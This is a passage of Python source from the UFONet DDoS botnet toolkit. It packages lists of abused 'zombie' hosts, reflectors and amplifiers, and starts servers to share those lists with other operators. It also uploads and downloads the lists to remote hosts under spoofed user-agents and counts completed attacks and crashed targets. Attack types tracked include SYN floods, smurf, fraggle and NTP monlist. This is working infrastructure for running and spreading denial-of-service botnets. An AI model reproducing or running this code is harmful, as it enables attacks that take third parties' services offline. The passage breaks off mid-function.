  1828. shutil.copy2(os.path.join(src2,fname), self.warping_path)
  1829. if fname == 'zombies.txt':
  1830. in_file = self.warping_path+"/"+fname
  1831. in_data = open(in_file, "rb").read()
  1832. out_gz = self.warping_path+"/"+"abductions.txt.gz"
  1833. gzf = gzip.open(out_gz, "wb")
  1834. gzf.write(in_data)
  1835. gzf.close()
  1836. os.unlink(in_file)
  1837. print(" - "+fname+" -> "+self.warping_path+"/"+"abductions.txt.gz")
  1838. os.chmod(self.warping_path+"/"+"abductions.txt.gz", self.warping_folder_permissions)
  1839. if fname == 'aliens.txt':
  1840. in_file = self.warping_path+"/"+fname
  1841. in_data = open(in_file, "rb").read()
  1842. out_gz = self.warping_path+"/"+"troops.txt.gz"
  1843. gzf = gzip.open(out_gz, "wb")
  1844. gzf.write(in_data)
  1845. gzf.close()
  1846. os.unlink(in_file)
  1847. print(" - "+fname+" -> "+self.warping_path+"/"+"troops.txt.gz")
  1848. os.chmod(self.warping_path+"/"+"troops.txt.gz", self.warping_folder_permissions)
  1849. if fname == 'droids.txt':
  1850. in_file = self.warping_path+"/"+fname
  1851. in_data = open(in_file, "rb").read()
  1852. out_gz = self.warping_path+"/"+"robots.txt.gz"
  1853. gzf = gzip.open(out_gz, "wb")
  1854. gzf.write(in_data)
  1855. gzf.close()
  1856. os.unlink(in_file)
  1857. print(" - "+fname+" -> "+self.warping_path+"/"+"robots.txt.gz")
  1858. os.chmod(self.warping_path+"/"+"robots.txt.gz", self.warping_folder_permissions)
  1859. if fname == 'ucavs.txt':
  1860. in_file = self.warping_path+"/"+fname
  1861. in_data = open(in_file, "rb").read()
  1862. out_gz = self.warping_path+"/"+"drones.txt.gz"
  1863. gzf = gzip.open(out_gz, "wb")
  1864. gzf.write(in_data)
  1865. gzf.close()
  1866. os.unlink(in_file)
  1867. print(" - "+fname+" -> "+self.warping_path+"/"+"drones.txt.gz")
  1868. os.chmod(self.warping_path+"/"+"drones.txt.gz", self.warping_folder_permissions)
  1869. if fname == 'rpcs.txt':
  1870. in_file = self.warping_path+"/"+fname
  1871. in_data = open(in_file, "rb").read()
  1872. out_gz = self.warping_path+"/"+"reflectors.txt.gz"
  1873. gzf = gzip.open(out_gz, "wb")
  1874. gzf.write(in_data)
  1875. gzf.close()
  1876. os.unlink(in_file)
  1877. print(" - "+fname+" -> "+self.warping_path+"/"+"reflectors.txt.gz")
  1878. os.chmod(self.warping_path+"/"+"reflectors.txt.gz", self.warping_folder_permissions)
  1879. if fname == 'snmp.txt':
  1880. in_file = self.warping_path+"/"+fname
  1881. in_data = open(in_file, "rb").read()
  1882. out_gz = self.warping_path+"/"+"bosons.txt.gz"
  1883. gzf = gzip.open(out_gz, "wb")
  1884. gzf.write(in_data)
  1885. gzf.close()
  1886. os.unlink(in_file)
  1887. print(" - "+fname+" -> "+self.warping_path+"/"+"bosons.txt.gz")
  1888. os.chmod(self.warping_path+"/"+"bosons.txt.gz", self.warping_folder_permissions)
  1889. if fname == 'ntp.txt':
  1890. in_file = self.warping_path+"/"+fname
  1891. in_data = open(in_file, "rb").read()
  1892. out_gz = self.warping_path+"/"+"crystals.txt.gz"
  1893. gzf = gzip.open(out_gz, "wb")
  1894. gzf.write(in_data)
  1895. gzf.close()
  1896. os.unlink(in_file)
  1897. print(" - "+fname+" -> "+self.warping_path+"/"+"crystals.txt.gz")
  1898. os.chmod(self.warping_path+"/"+"crystals.txt.gz", self.warping_folder_permissions)
  1899. if fname == 'dns.txt':
  1900. in_file = self.warping_path+"/"+fname
  1901. in_data = open(in_file, "rb").read()
  1902. out_gz = self.warping_path+"/"+"warps.txt.gz"
  1903. gzf = gzip.open(out_gz, "wb")
  1904. gzf.write(in_data)
  1905. gzf.close()
  1906. os.unlink(in_file)
  1907. print(" - "+fname+" -> "+self.warping_path+"/"+"warps.txt.gz")
  1908. os.chmod(self.warping_path+"/"+"warps.txt.gz", self.warping_folder_permissions)
  1909. if fname == 'dorks.txt':
  1910. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1911. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1912. print("")
  1913. print("[AI] [Info] [Control] [DEPLOY] Files are ready to be shared with other 'motherships'...\n\n[AI] [Info] [DEPLOY] Other requirements:\n")
  1914. print(" - 1) Setup web server (apache, nginx...)")
  1915. print(" - 2) Make your web server accessible from the Internet (NAT/VPS) <-> ex: 'http(s)://<your ip>/ufonet/'")
  1916. print(" - 3a) Start [Blackhole] with: './ufonet --blackhole' (or python3 ufonet --blackhole &)")
  1917. print(" - 3b) Start [Grider] with: './ufonet --grider' (or python3 ufonet --grider &)")
  1918. print(" - 4) Share your IP on the sneaknet! (ex: SHIP.RADAR) ;-)")
  1919. print("")
  1920. except Exception as e:
  1921. print("[Error] "+str(e))
  1922. print("\n[AI] Something was wrong deploying in: '/var/www/ufonet'... -> [Aborting!]\n")
  1923. # generate [Blackhole] server to share [Zombies]
  1924. if options.blackhole:
  1925. self.banner()
  1926. try:
  1927. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1928. sys.path.append(blackhole_lib)
  1929. from core.tools.blackhole import BlackHole
  1930. print("\n[AI] Initiating void generation sequence...\n")
  1931. print('='*22 + '\n')
  1932. app = BlackHole()
  1933. app.start()
  1934. while True: time.sleep(1)
  1935. except KeyboardInterrupt:
  1936. print("\n[AI] Terminating void generation sequence...\n")
  1937. app.collapse()
  1938. except Exception as e:
  1939. print("[Error] "+str(e))
  1940. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1941. # create [Grider] server to share [Stats/Wargames/Messages]
  1942. if options.grider:
  1943. self.banner()
  1944. try:
  1945. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1946. sys.path.append(grider_lib)
  1947. from core.tools.grider import Grider
  1948. print("\n[AI] Initiating void generation sequence...\n")
  1949. print('='*22 + '\n')
  1950. app = Grider()
  1951. app.start()
  1952. while True: time.sleep(1)
  1953. except KeyboardInterrupt:
  1954. print("\n[AI] Terminating void generation sequence...\n")
  1955. app.collapse()
  1956. except Exception as e:
  1957. print("[Error] "+str(e))
  1958. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1959. # download list of [Zombies] from a [Blackhole] IP
  1960. options.download = False
  1961. options.upload = False
  1962. if options.dip is not None:
  1963. options.download = True
  1964. self.blackhole = options.dip
  1965. # upload list of [Zombies] to a [Blackhole] IP
  1966. if options.upip is not None:
  1967. options.upload = True
  1968. self.blackhole = options.upip
  1969. # download list of [Zombies] from Community nodes (Radar) [02/02/2022 OK!]
  1970. if options.download_nodes:
  1971. try:
  1972. self.banner()
  1973. print("\n[AI] Downloading list of [Zombies] from [Radar] [Blackhole] [Nodes] ...\n")
  1974. print('='*22 + '\n')
  1975. download_nodes_list = self.downloading_nodes_list()
  1976. except Exception as e:
  1977. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1978. return
  1979. # download/upload from/to a user-provided IP (kept; --up-to / --down-from)
  1980. if getattr(options, 'download', False):
  1981. try:
  1982. self.banner()
  1983. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1984. print('='*22 + '\n')
  1985. download_list = self.downloading_list()
  1986. except Exception as e:
  1987. print("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1988. return
  1989. if getattr(options, 'upload', False):
  1990. try:
  1991. self.banner()
  1992. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1993. print('='*22 + '\n')
  1994. upload_list = self.uploading_list()
  1995. except Exception as e:
  1996. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1997. if DEBUG == True:
  1998. traceback.print_exc()
  1999. return
  2000. return #sys.exit(2)
  2001. # starting new zombie thread
  2002. def connect_zombies(self, zombie):
  2003. z=Zombie(self, zombie)
  2004. t = threading.Thread(target=z.connect, name=zombie)
  2005. t.start()
  2006. # single connection handling
  2007. def connect_zombie(self, zombie):
  2008. z=Zombie(self,zombie)
  2009. return z.connect()
  2010. def extract_proxy(self, proxy):
  2011. sep = ":"
  2012. proxy_ip = proxy.rsplit(sep, 1)[0]
  2013. if proxy_ip.startswith('http://'):
  2014. proxy_ip = proxy_ip.replace('http://', '')
  2015. elif proxy_ip.startswith('https://'):
  2016. proxy_ip = proxy_ip.replace('https://', '')
  2017. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  2018. proxy_ip = 'localhost'
  2019. proxy_port = proxy.rsplit(sep, 1)[1]
  2020. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  2021. return proxy_url
  2022. def proxy_transport(self, proxy):
  2023. proxy_url = self.extract_proxy(proxy)
  2024. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  2025. opener = urllib.request.build_opener(proxy)
  2026. urllib.request.install_opener(opener)
  2027. def check_mothership_chargo(self):
  2028. f = open(self.zombies_file)
  2029. self.zombies = f.readlines()
  2030. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  2031. self.list_zombies = []
  2032. for zombie in self.zombies:
  2033. t = urlparse(zombie)
  2034. name_zombie = t.netloc
  2035. if name_zombie == "":
  2036. name_zombie = zombie
  2037. self.list_zombies.append(name_zombie)
  2038. self.num_zombies = str(len(self.zombies))
  2039. f.close()
  2040. f = open(self.aliens_file)
  2041. self.aliens = f.readlines()
  2042. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  2043. self.list_aliens = []
  2044. for alien in self.aliens:
  2045. t = urlparse(alien)
  2046. name_alien = t.netloc
  2047. if name_alien == "":
  2048. name_alien = alien
  2049. self.list_aliens.append(name_alien)
  2050. self.num_aliens = str(len(self.aliens))
  2051. f.close()
  2052. f = open(self.droids_file)
  2053. self.droids = f.readlines()
  2054. self.droids = [droid.replace('\n', '') for droid in self.droids]
  2055. self.list_droids = []
  2056. for droid in self.droids:
  2057. t = urlparse(droid)
  2058. name_droid = t.netloc
  2059. if name_droid == "":
  2060. name_droid = droid
  2061. self.list_droids.append(name_droid)
  2062. self.num_droids = str(len(self.droids))
  2063. f.close()
  2064. f = open(self.ucavs_file)
  2065. self.ucavs = f.readlines()
  2066. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  2067. self.list_ucavs = []
  2068. for ucav in self.ucavs:
  2069. t = urlparse(ucav)
  2070. name_ucav = t.netloc
  2071. if name_ucav == "":
  2072. name_ucav = ucav
  2073. self.list_ucavs.append(name_ucav)
  2074. self.num_ucavs = str(len(self.ucavs))
  2075. f.close()
  2076. f = open(self.rpcs_file)
  2077. self.rpcs = f.readlines()
  2078. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  2079. self.list_rpcs = []
  2080. for rpc in self.rpcs:
  2081. t = urlparse(rpc)
  2082. name_rpc = t.netloc
  2083. if name_rpc == "":
  2084. name_rpc = rpc
  2085. self.list_rpcs.append(name_rpc)
  2086. self.num_rpcs = str(len(self.rpcs))
  2087. f.close()
  2088. f = open(self.dnss_file)
  2089. self.dnss = f.readlines()
  2090. self.dnss = [dns.replace('\n', '') for dns in self.dnss]
  2091. self.list_dnss = []
  2092. for dns in self.dnss:
  2093. t = urlparse(dns)
  2094. name_dns = t.netloc
  2095. if name_dns == "":
  2096. name_dns = dns
  2097. self.list_dnss.append(name_dns)
  2098. self.num_dnss = str(len(self.dnss))
  2099. f.close()
  2100. f = open(self.ntps_file)
  2101. self.ntps = f.readlines()
  2102. self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
  2103. self.list_ntps = []
  2104. for ntp in self.ntps:
  2105. t = urlparse(ntp)
  2106. name_ntp = t.netloc
  2107. if name_ntp == "":
  2108. name_ntp = ntp
  2109. self.list_ntps.append(name_ntp)
  2110. self.num_ntps = str(len(self.ntps))
  2111. f.close()
  2112. f = open(self.snmps_file)
  2113. self.snmps = f.readlines()
  2114. self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
  2115. self.list_snmps = []
  2116. for snmp in self.snmps:
  2117. t = urlparse(snmp)
  2118. name_snmp = t.netloc
  2119. if name_snmp == "":
  2120. name_snmp = snmp
  2121. self.list_snmps.append(name_snmp)
  2122. self.num_snmps = str(len(self.snmps))
  2123. f.close()
  2124. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_dnss) + int(self.num_ntps) + int(self.num_snmps))
  2125. return self.total_botnet
  2126. def update_flying_stats(self):
  2127. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  2128. with open(self.mothership_stats_file, "w") as f:
  2129. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "fraggle": "0", "xmas": "0", "ufoack": "0", "uforst": "0", "droper": "0", "overlap": "0", "pinger": "0", "ufoudp": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "sniper": "0", "crashed": "0"}, f, indent=4) # starting reset
  2130. stats_json_file = open(self.mothership_stats_file, "r")
  2131. data = json.load(stats_json_file)
  2132. stats_json_file.close()
  2133. aflying = data["flying"]
  2134. aflying = str(int(aflying) + 1) # add new flying time
  2135. data["flying"] = aflying
  2136. stats_json_file = open(self.mothership_stats_file, "w+")
  2137. stats_json_file.write(json.dumps(data))
  2138. stats_json_file.close()
  2139. def update_mothership_stats(self):
  2140. stats_json_file = open(self.mothership_stats_file, "r")
  2141. data = json.load(stats_json_file)
  2142. stats_json_file.close()
  2143. acompleted = data["completed"]
  2144. acompleted = str(int(acompleted) + 1) # add new completed attack
  2145. data["completed"] = acompleted
  2146. stats_json_file = open(self.mothership_stats_file, "w+")
  2147. stats_json_file.write(json.dumps(data))
  2148. stats_json_file.close()
  2149. def update_targets_crashed(self):
  2150. stats_json_file = open(self.mothership_stats_file, "r")
  2151. data = json.load(stats_json_file)
  2152. stats_json_file.close()
  2153. tcrashed = data["crashed"]
  2154. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  2155. data["crashed"] = tcrashed
  2156. stats_json_file = open(self.mothership_stats_file, "w+")
  2157. stats_json_file.write(json.dumps(data))
  2158. stats_json_file.close()
  2159. def update_missions_stats(self):
  2160. stats_json_file = open(self.mothership_stats_file, "r")
  2161. data = json.load(stats_json_file)
  2162. stats_json_file.close()
  2163. missions = data["missions"]
  2164. missions = str(int(missions) + 1) # add new mission target
  2165. data["missions"] = missions
  2166. stats_json_file = open(self.mothership_stats_file, "w+")
  2167. stats_json_file.write(json.dumps(data))
  2168. stats_json_file.close()
  2169. def update_scanner_stats(self, num):
  2170. stats_json_file = open(self.mothership_stats_file, "r")
  2171. data = json.load(stats_json_file)
  2172. stats_json_file.close()
  2173. scanner = data["scanner"]
  2174. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  2175. data["scanner"] = scanner
  2176. stats_json_file = open(self.mothership_stats_file, "w+")
  2177. stats_json_file.write(json.dumps(data))
  2178. stats_json_file.close()
  2179. def update_transferred_stats(self, num):
  2180. stats_json_file = open(self.mothership_stats_file, "r")
  2181. data = json.load(stats_json_file)
  2182. stats_json_file.close()
  2183. transferred = data["transferred"]
  2184. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  2185. data["transferred"] = transferred
  2186. stats_json_file = open(self.mothership_stats_file, "w+")
  2187. stats_json_file.write(json.dumps(data))
  2188. stats_json_file.close()
  2189. def update_max_chargo(self, chargo):
  2190. stats_json_file = open(self.mothership_stats_file, "r")
  2191. data = json.load(stats_json_file)
  2192. stats_json_file.close()
  2193. amax_chargo = data["max_chargo"]
  2194. if int(chargo) > int(amax_chargo): # new max chargo found
  2195. amax_chargo = chargo # add new max chargo
  2196. else:
  2197. amax_chargo = data["max_chargo"]
  2198. data["max_chargo"] = amax_chargo
  2199. stats_json_file = open(self.mothership_stats_file, "w+")
  2200. stats_json_file.write(json.dumps(data))
  2201. stats_json_file.close()
  2202. def update_loic_stats(self):
  2203. stats_json_file = open(self.mothership_stats_file, "r")
  2204. data = json.load(stats_json_file)
  2205. stats_json_file.close()
  2206. aloic = data["loic"]
  2207. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  2208. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  2209. data["loic"] = aloic
  2210. stats_json_file = open(self.mothership_stats_file, "w+")
  2211. stats_json_file.write(json.dumps(data))
  2212. stats_json_file.close()
  2213. def update_loris_stats(self):
  2214. stats_json_file = open(self.mothership_stats_file, "r")
  2215. data = json.load(stats_json_file)
  2216. stats_json_file.close()
  2217. aloris = data["loris"]
  2218. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  2219. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  2220. data["loris"] = aloris
  2221. stats_json_file = open(self.mothership_stats_file, "w+")
  2222. stats_json_file.write(json.dumps(data))
  2223. stats_json_file.close()
  2224. def update_ufosyn_stats(self):
  2225. stats_json_file = open(self.mothership_stats_file, "r")
  2226. data = json.load(stats_json_file)
  2227. stats_json_file.close()
  2228. aufosyn = data["ufosyn"]
  2229. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  2230. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  2231. data["ufosyn"] = aufosyn
  2232. stats_json_file = open(self.mothership_stats_file, "w+")
  2233. stats_json_file.write(json.dumps(data))
  2234. stats_json_file.close()
  2235. def update_spray_stats(self):
  2236. stats_json_file = open(self.mothership_stats_file, "r")
  2237. data = json.load(stats_json_file)
  2238. stats_json_file.close()
  2239. aspray = data["spray"]
  2240. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  2241. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  2242. data["spray"] = aspray
  2243. stats_json_file = open(self.mothership_stats_file, "w+")
  2244. stats_json_file.write(json.dumps(data))
  2245. stats_json_file.close()
  2246. def update_smurf_stats(self):
  2247. stats_json_file = open(self.mothership_stats_file, "r")
  2248. data = json.load(stats_json_file)
  2249. stats_json_file.close()
  2250. asmurf = data["smurf"]
  2251. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  2252. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  2253. data["smurf"] = asmurf
  2254. stats_json_file = open(self.mothership_stats_file, "w+")
  2255. stats_json_file.write(json.dumps(data))
  2256. stats_json_file.close()
  2257. def update_fraggle_stats(self):
  2258. stats_json_file = open(self.mothership_stats_file, "r")
  2259. data = json.load(stats_json_file)
  2260. stats_json_file.close()
  2261. afraggle = data["fraggle"]
  2262. afraggle = str(int(afraggle) + 1) # add new fraggle attack to recorded stats
  2263. self.total_fraggle = self.total_fraggle + 1 # add new fraggle attack to session stats
  2264. data["fraggle"] = afraggle
  2265. stats_json_file = open(self.mothership_stats_file, "w+")
  2266. stats_json_file.write(json.dumps(data))
  2267. stats_json_file.close()
  2268. def update_xmas_stats(self):
  2269. stats_json_file = open(self.mothership_stats_file, "r")
  2270. data = json.load(stats_json_file)
  2271. stats_json_file.close()
  2272. axmas = data["xmas"]
  2273. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  2274. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  2275. data["xmas"] = axmas
  2276. stats_json_file = open(self.mothership_stats_file, "w+")
  2277. stats_json_file.write(json.dumps(data))
  2278. stats_json_file.close()
  2279. def update_ufoack_stats(self):
  2280. stats_json_file = open(self.mothership_stats_file, "r")
  2281. data = json.load(stats_json_file)
  2282. stats_json_file.close()
  2283. aufoack = data["ufoack"]
  2284. aufoack = str(int(aufoack) + 1) # add new ufoack attack to recorded stats
  2285. self.total_ufoack = self.total_ufoack + 1 # add new ufoack attack to session stats
  2286. data["ufoack"] = aufoack
  2287. stats_json_file = open(self.mothership_stats_file, "w+")
  2288. stats_json_file.write(json.dumps(data))
  2289. stats_json_file.close()
  2290. def update_uforst_stats(self):
  2291. stats_json_file = open(self.mothership_stats_file, "r")
  2292. data = json.load(stats_json_file)
  2293. stats_json_file.close()
  2294. auforst = data["uforst"]
  2295. auforst = str(int(auforst) + 1) # add new uforst attack to recorded stats
  2296. self.total_uforst = self.total_uforst + 1 # add new uforst attack to session stats
  2297. data["uforst"] = auforst
  2298. stats_json_file = open(self.mothership_stats_file, "w+")
  2299. stats_json_file.write(json.dumps(data))
  2300. stats_json_file.close()
  2301. def update_droper_stats(self):
  2302. stats_json_file = open(self.mothership_stats_file, "r")
  2303. data = json.load(stats_json_file)
  2304. stats_json_file.close()
  2305. adroper = data["droper"]
  2306. adroper = str(int(adroper) + 1) # add new droper attack to recorded stats
  2307. self.total_droper = self.total_droper + 1 # add new droper attack to session stats
  2308. data["droper"] = adroper
  2309. stats_json_file = open(self.mothership_stats_file, "w+")
  2310. stats_json_file.write(json.dumps(data))
  2311. stats_json_file.close()
  2312. def update_overlap_stats(self):
  2313. stats_json_file = open(self.mothership_stats_file, "r")
  2314. data = json.load(stats_json_file)
  2315. stats_json_file.close()
  2316. aoverlap = data["overlap"]
  2317. aoverlap = str(int(aoverlap) + 1) # add new overlap attack to recorded stats
  2318. self.total_overlap = self.total_overlap + 1 # add new overlap attack to session stats
  2319. data["overlap"] = aoverlap
  2320. stats_json_file = open(self.mothership_stats_file, "w+")
  2321. stats_json_file.write(json.dumps(data))
  2322. stats_json_file.close()
  2323. def update_pinger_stats(self):
  2324. stats_json_file = open(self.mothership_stats_file, "r")
  2325. data = json.load(stats_json_file)
  2326. stats_json_file.close()
  2327. apinger = data["pinger"]
  2328. apinger = str(int(apinger) + 1) # add new pinger attack to recorded stats
  2329. self.total_pinger = self.total_pinger + 1 # add new pinger attack to session stats
  2330. data["pinger"] = apinger
  2331. stats_json_file = open(self.mothership_stats_file, "w+")
  2332. stats_json_file.write(json.dumps(data))
  2333. stats_json_file.close()
  2334. def update_ufoudp_stats(self):
  2335. stats_json_file = open(self.mothership_stats_file, "r")
  2336. data = json.load(stats_json_file)
  2337. stats_json_file.close()
  2338. aufoudp = data["ufoudp"]
  2339. aufoudp = str(int(aufoudp) + 1) # add new ufoudp attack to recorded stats
  2340. self.total_ufoudp = self.total_ufoudp + 1 # add new ufoudp attack to session stats
  2341. data["ufoudp"] = aufoudp
  2342. stats_json_file = open(self.mothership_stats_file, "w+")
  2343. stats_json_file.write(json.dumps(data))
  2344. stats_json_file.close()
  2345. def update_nuke_stats(self):
  2346. stats_json_file = open(self.mothership_stats_file, "r")
  2347. data = json.load(stats_json_file)
  2348. stats_json_file.close()
  2349. anuke = data["nuke"]
  2350. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  2351. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  2352. data["nuke"] = anuke
  2353. stats_json_file = open(self.mothership_stats_file, "w+")
  2354. stats_json_file.write(json.dumps(data))
  2355. stats_json_file.close()
  2356. def update_tachyon_stats(self):
  2357. stats_json_file = open(self.mothership_stats_file, "r")
  2358. data = json.load(stats_json_file)
  2359. stats_json_file.close()
  2360. atachyon = data["tachyon"]
  2361. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  2362. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  2363. data["tachyon"] = atachyon
  2364. stats_json_file = open(self.mothership_stats_file, "w+")
  2365. stats_json_file.write(json.dumps(data))
  2366. stats_json_file.close()
  2367. def update_monlist_stats(self):
  2368. stats_json_file = open(self.mothership_stats_file, "r")
  2369. data = json.load(stats_json_file)
  2370. stats_json_file.close()
  2371. amonlist = data["monlist"]
  2372. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  2373. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  2374. data["monlist"] = amonlist
  2375. stats_json_file = open(self.mothership_stats_file, "w+")
  2376. stats_json_file.write(json.dumps(data))
  2377. stats_json_file.close()
  2378. def update_sniper_stats(self):
  2379. stats_json_file = open(self.mothership_stats_file, "r")
  2380. data = json.load(stats_json_file)
  2381. stats_json_file.close()
  2382. asniper = data["sniper"]
  2383. asniper = str(int(asniper) + 1) # add new sniper attack to recorded stats
  2384. self.total_sniper = self.total_sniper + 1 # add new sniper attack to session stats
  2385. data["sniper"] = asniper
  2386. stats_json_file = open(self.mothership_stats_file, "w+")
  2387. stats_json_file.write(json.dumps(data))
  2388. stats_json_file.close()
  2389. def uploading_list(self):
  2390. from io import BytesIO
  2391. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2392. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2393. abductions = "botnet/abductions.txt.gz"
  2394. troops = "botnet/troops.txt.gz"
  2395. robots = "botnet/robots.txt.gz"
  2396. drones = "botnet/drones.txt.gz"
  2397. reflectors = "botnet/reflectors.txt.gz"
  2398. crystals = "botnet/crystals.txt.gz"
  2399. warps = "botnet/warps.txt.gz"
  2400. bosons = "botnet/bosons.txt.gz"
  2401. if self.options.timeout: # set timeout
  2402. try:
  2403. timeout = int(self.options.timeout)
  2404. except:
  2405. timeout = 5
  2406. else:
  2407. timeout = 5
  2408. if timeout < 1:
  2409. timeout = 5
  2410. try:
  2411. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  2412. if self.options.forcessl:
  2413. if self.options.proxy: # set proxy
  2414. self.proxy_transport(options.proxy)
  2415. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2416. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2417. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2418. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2419. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2420. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2421. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2422. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2423. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2424. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2425. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2426. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2427. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2428. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2429. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2430. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2431. else:
  2432. if self.options.proxy: # set proxy
  2433. self.proxy_transport(options.proxy)
  2434. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2435. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2436. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2437. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2438. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2439. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2440. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2441. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2442. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2443. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2444. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2445. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2446. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2447. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2448. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2449. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2450. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  2451. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2452. print('-'*12 + '\n')
  2453. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  2454. return
  2455. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2456. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  2457. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2458. f_out_abductions.write(f_in_abductions.read())
  2459. f_in_abductions.close()
  2460. f_out_abductions.close()
  2461. num_zombies = 0
  2462. with open('botnet/abductions.txt') as f:
  2463. for _ in f:
  2464. num_zombies = num_zombies + 1
  2465. print("\n[Info] [Blackhole] Total [Zombies]: "+ str(num_zombies))
  2466. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  2467. f_out_robots = open('botnet/robots.txt', 'wb')
  2468. f_out_robots.write(f_in_robots.read())
  2469. f_in_robots.close()
  2470. f_out_robots.close()
  2471. num_robots = 0
  2472. with open('botnet/robots.txt') as f:
  2473. for _ in f:
  2474. num_robots = num_robots + 1
